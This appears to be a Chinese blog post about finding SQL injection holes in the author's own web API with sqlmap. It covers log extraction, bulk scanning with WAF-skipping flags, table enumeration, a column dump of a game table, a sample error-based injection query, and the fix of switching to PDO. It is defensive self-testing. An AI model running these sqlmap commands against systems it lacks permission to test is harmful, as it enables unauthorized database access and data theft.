美文网首页
使用sqlmap查找系统sql注入漏洞

使用sqlmap查找系统sql注入漏洞

作者: loloxiaoz | 来源:发表于2017-09-13 19:09 被阅读0次

sqlmap: Detect and exploit a SQL injection

web程序上线后,一定会受到各种扫描和攻击,与其坐以待毙,不如主动利用攻击工具找到系统的问题。本次就是通过sqlmap工具找到系统的sql注入漏洞

日志处理

根据项目的访问日志,将用户网关中最近几天的所有GET请求的日志输出到文件中

cat /data/logs/logcenter/project/user-gateway/_rest/2017/09/1*/*.log |grep -v monitor|
grep 'method: GET'|awk '{print $(NF-1)}'|sort|uniq > get.log

再通过php脚本去重

$all    = file_get_contents("./get.log");
$lines  = explode("\n",$all);
$data   = array();
foreach($lines as $line){
    list($url,$param) = explode("?",$line);
    $newKey = md5($url);
    $data[$newKey] = $line;
}
$str    = "";
foreach($data as $line){
    $str .= $line."\n";
}
file_put_contents("./get_after.log",$str);

即得到所有的接口数据


批量扫描接口

采用BULKFILE的方式,批量扫描,如果目标有waf,可以采用tamper脚本绕过

./sqlmap.py  -m get_after.log --random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"

找到注入的接口



然后针对该接口,查询表名和字段名

./sqlmap.py  -u"xxx.com/v1/activity/distanceRankLists?
projectID=4210030291477784&activityID=4210013430375442" 
--random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"   -b --current-db --current-user --tables

指定表明和字段名,成功将表中字段导出

./sqlmap.py  -u"xxx.com/v1/activity/distanceRankLists?
projectID=4210030291477784&activityID=4210013430375442" 
--random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"   
-b --current-db --current-user -T game -C clickNum,id,createtime,updatetime,name,status --dump

分析

通过Wireshark抓包可以看到,sql语句没有使用pdo的方式,确实存在注入风险



error-based生成的注入语句

select count(DISTINCT(`ymd`)) as num,heroId from share 
where activityID = 4210013430375442 AND 
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71706a6b71,(SELECT COUNT(totalLimit) 
FROM activity_online.game),0x716b717a71,0x78))s), '8446744073709551610', '8446744073709551610'))) 
group by heroID;

存在sql注入是因为在代码中手动拼接了sql,并且没有使用pdo的方式,改为使用pdo方式即可解决

相关文章

  • BurpSuite搭配Sqlmap进行自动化SQL注入测试

    BurpSuite搭配Sqlmap进行自动化SQL注入测试 使用gason插件+SqlMap测试SQL注入漏洞 s...

  • 使用sqlmap查找系统sql注入漏洞

    sqlmap: Detect and exploit a SQL injection web程序上线后,一定会受到...

  • sqlmap从入门到精通-第六章-6-8 利用sqlmap渗透某

    6.8 利用sqlmap渗透某站点 6.8.1 发现并测试SQL注入漏洞 1. SQL注入漏洞发现思路 (1) 通...

  • sqlmap使用

    1. sqlmap简介 SQLmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Pyt...

  • 二十四、SQLMap自动注入-(1)描述sqlmap

    1、sqlmap概述 开源sql注入漏洞检测、利用工具,使用python编写。 检测动态页面中get/post参数...

  • SQLMAP的使用

    前提条件:需要有sql注入漏洞才能发挥效果作用:便捷化地执行sql注入操作 sqlmap安装(只支持python2...

  • sqlmap使用手册

    一、概述 1.1 简介 sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它...

  • sql map 总结

    参考文章: 1. Sqlmap使用教程【个人笔记精华整理】 2. SQL注入之SQLmap入门 3. 细说sql注...

  • sqlmap使用

    sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具...

  • Sqlmap对DVWA小试牛刀

    介绍 sqlmap是一个自动化的SQL注入工具,能发现并利用给定的URL的SQL注入漏洞,反正就是非常受欢迎厉害的...

网友评论

      本文标题:使用sqlmap查找系统sql注入漏洞

      本文链接:https://www.haomeiwen.com/subject/bleksxtx.html